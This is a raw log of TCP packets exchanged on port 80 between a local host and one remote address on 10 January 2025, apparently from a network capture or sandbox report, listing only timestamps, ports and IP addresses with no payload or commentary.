Jan 10, 2025 14:48:10.867816925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.867835045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.867865086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.867912054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.881967068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.888838053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.888864994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.888883114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.888886929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.888902903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.888922930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.923310995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.923341990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.923355103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.923362017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.923367977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.923382998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.923388004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.923432112 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.923434973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.923480988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.923491955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.923506021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.923511028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.923520088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.923538923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.923811913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.923840046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.923847914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.923851967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.923882008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.923890114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.923902988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.923913956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.923934937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.951410055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.951426983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.951448917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.951452017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.951462030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.951476097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.951487064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.951495886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.951539040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.951715946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.951738119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.951747894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.951759100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.951790094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.951829910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.951842070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.951863050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.951873064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.951877117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.951890945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.951908112 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.952200890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.952233076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.952275991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.952289104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.952301025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.952378035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.952533960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.952547073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.952560902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.952564955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.952595949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.952603102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.952610016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.952636957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.952869892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.952883005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.952894926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.952918053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.952919006 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.952929974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.952944994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.952950001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.952975035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.953001022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.953015089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.953026056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.953043938 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.953670979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.953684092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.953696012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.953701973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.953706980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.953720093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.953726053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.953732014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.953744888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.953759909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.953764915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.953773022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.953777075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.953785896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.953797102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.953808069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.953810930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.953825951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.954574108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.954586029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.954597950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.954607010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.954632998 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.954634905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.954648972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.954660892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.954674959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.954679012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.954706907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.954777956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.954790115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.954802036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.954813004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.954813957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.954823017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.954827070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.954845905 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.955544949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.955558062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.955569029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.955573082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.955599070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.955599070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.955614090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.955626965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.955637932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.955645084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.955670118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.955714941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.955729961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.955739975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.955751896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.955758095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.955765009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.955782890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.956500053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.956511974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.956522942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.956531048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.956557035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.956558943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.956569910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.956582069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.956593990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.956604958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.956619024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.956651926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.956662893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.956675053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.956686974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.956698895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.956705093 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.956729889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.957467079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.957479000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.957492113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.957499027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.957504034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.957525969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.959753990 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.959913969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.959948063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.959949017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.960016012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.960027933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.960040092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.960045099 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.960052967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.960072041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.960293055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.960335016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.960346937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.981158972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.981199980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.981204033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.981216908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.981229067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.981240034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.981250048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.981267929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.981281996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.981302023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.981332064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.015597105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015610933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015626907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015645027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.015645981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015661955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015666962 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.015675068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015686035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015697956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015716076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015721083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.015759945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.015762091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015785933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015798092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015815020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.015815973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015827894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015837908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015846014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.015856028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015863895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.015868902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015881062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015904903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015913010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.015914917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.015937090 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.015974045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.016001940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.016053915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.016066074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.016077995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.016099930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.029578924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.033307076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044056892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044070005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044087887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044100046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044115067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044120073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044142008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044158936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044171095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044183969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044186115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044202089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044214010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044218063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044243097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044280052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044291019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044308901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044311047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044321060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044332027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044334888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044344902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044359922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044375896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044388056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044399023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044408083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044451952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044476032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044504881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044517994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044536114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044559956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044572115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044589996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044653893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044662952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044675112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044682980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044688940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044699907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044707060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044712067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044723034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044730902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044749022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044763088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044780970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044794083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044806004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044810057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044817924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044836044 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044881105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044892073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044903994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044910908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044915915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044929028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044935942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044950962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.044965982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.044981003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045022011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.045073986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045084953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045104027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045113087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045114040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.045125008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045135975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045139074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.045154095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045164108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.045164108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045176983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045188904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045190096 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.045228004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.045265913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045278072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045290947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045301914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045305014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.045315981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045327902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.045387030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045404911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045418024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045424938 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.045428991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045443058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.045449018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.045475960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.048978090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.049019098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.049030066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.049154043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.049173117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.049190998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.049201012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.049211979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.049222946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.049231052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.049235106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.049247026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.049258947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.049268961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.049274921 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.049288034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.049290895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.049299002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.049309969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.049320936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:11.049331903 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:11.049355984 CET	49705	80	192.168.2.8	193.143.1.205
